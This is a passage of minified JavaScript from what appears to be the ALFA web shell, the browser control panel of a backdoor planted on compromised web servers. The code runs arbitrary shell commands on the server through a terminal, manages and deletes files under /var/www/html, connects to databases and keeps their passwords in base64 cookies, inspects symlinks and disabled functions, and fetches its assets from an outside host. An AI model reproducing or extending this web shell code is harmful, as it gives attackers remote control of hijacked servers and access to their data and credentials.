0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return e[a[0]]=a[1],e},{});if(""!=e)switch(t.action){case"fileman":case"options":t.path=decodeURIComponent(t.path),g("FilesMan",t.path,function(e){if(t.hasOwnProperty("file")){var a="auto";isArchive(t.file)&&(a="view"),editor(t.path+"/"+t.file,a,"","","","file")}}),"options"==t.action&&t.hasOwnProperty("opt")&&(alfa_can_add_opt=!0,g(t.opt,null,"","",""),d.querySelector(".opt-title").innerHTML=$("menu_opt_"+t.opt).innerHTML),t.hasOwnProperty("file")||editorClose("editor"),t.hasOwnProperty("opt")||editorClose("options_window"),editorClose("cgiloader");break;default:g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}else g("FilesMan","/var/www/html/"),editorClose("editor"),editorClose("options_window"),editorClose("cgiloader")}function alfaFmngrContextRow(){d.querySelectorAll(".fmanager-row a.main_name").forEach(function(e){e.addEventListener("contextmenu",function(e){var t=e.target,a="";if(".."==(a="A"==e.target.parentElement.tagName?(t=e.target.parentElement).getAttribute("fname"):t.getAttribute("fname")))return!1;var i=t.getAttribute("id"),l=t.getAttribute("path"),r=t.getAttribute("ftype"),o=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete"];for(var n in"file"!=r||isArchive(a)?o[3]="view_archive":o.splice(11,1),"folder"==r&&(o=["newtab","link","move","copy","rename","modify","permission","compress","delete"]),alfaSortMenuItems(o),o){var s=d.querySelector("#rightclick_menu > a[name="+o[n]+"]");switch(s.setAttribute("fid",i),s.setAttribute("fname",decodeURIComponent(a)),s.setAttribute("path",l),s.setAttribute("ftype",r),o[n]){case"view":case"edit":var c="auto";"edit"==o[n]&&(c="edit"),s.setAttribute("href","#action=fileman&path="+c_+"/&file="+a),s.setAttribute("onclick","editor('"+a+"','"+c+"','','','','file')");break;case"newtab":var u=a;"file"==r?(u="&file="+a,s.setAttribute("href","#action=fileman&path="+c_+"/"+u),s.setAttribute("target","_blank"),s.onclick=function(){}):(s.setAttribute("href","javascript:void(0)"),s.removeAttribute("target"),s.onclick=function(){alfaFilesManNewTab(c_,u)});break;case"delete":s.setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';");break;case"download":s.setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')");break;case"permission":try{var p=d.querySelector("#id_chmode_"+i.replace("id_","")+" span").innerHTML;s.setAttribute("perm",p.trim())}catch(e){}break;case"link":s.style.display="block";var f="/var/www/html/",m=(c_+"/"+a).replace(/\/\//g,"/");if(-1!=m.indexOf(f)){f=m.replace(f,"");var b=location.origin+"/"+f;s.setAttribute("href",""+b)}else s.style.display="none"}}var y=e.clientX,_=e.clientY;alfaRightClickMenu(y,_),e.preventDefault()})})}function alfaFilesManNewTab(e,t,a){var i=t;void 0!==a&&(i=alfaGetLastFolderName(e));var l=decodeURIComponent(e+"/"+t);l=l.replace(/\/\//g,"/");var r=$("filesman_tab_1"),o=r.getAttribute("fm_counter");o=parseInt(o)+1,r.setAttribute("fm_counter",o),d.querySelector("#filesman_tabs_child").insertAdjacentHTML("beforeend",'<div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" path="'+l+'" id="filesman_tab_'+o+'" fm_id="'+o+'" onclick="filesmanTabController(this);" fname="'+t+'" class="filesman_tab"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span class="filesman-tab-folder-name">'+i+'</span> <img fm_id="'+o+'" onclick="closeFmTab(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector(".ajaxarea").insertAdjacentHTML("beforebegin",'<div style="position:relative;" fm_id="'+o+'" id="filesman_holder_'+o+'" class="ajaxarea"><div class="header"></div></div>'),alfa_fm_id=o,g("FilesMan",l),alfa_fm_id=0}function alfaFilesmanTabShowTitle(e,t){t.stopPropagation();var a=$("filesman-tab-full-path");a.style.display="block",a.style.top=e.offsetTop-37+"px",a.style.left=e.offsetLeft-$("filesman_tabs").scrollLeft+"px",a.innerHTML=e.getAttribute("path")}function alfaFilesmanTabHideTitle(e,t){$("filesman-tab-full-path").style.display="none"}function alfaPopupAction(e,t){var a="",i="";switch(t){case"rename":a="Old file name:",i="New file name:";break;case"copy":a="File path:",i="Enter the file path that you want to copy this file 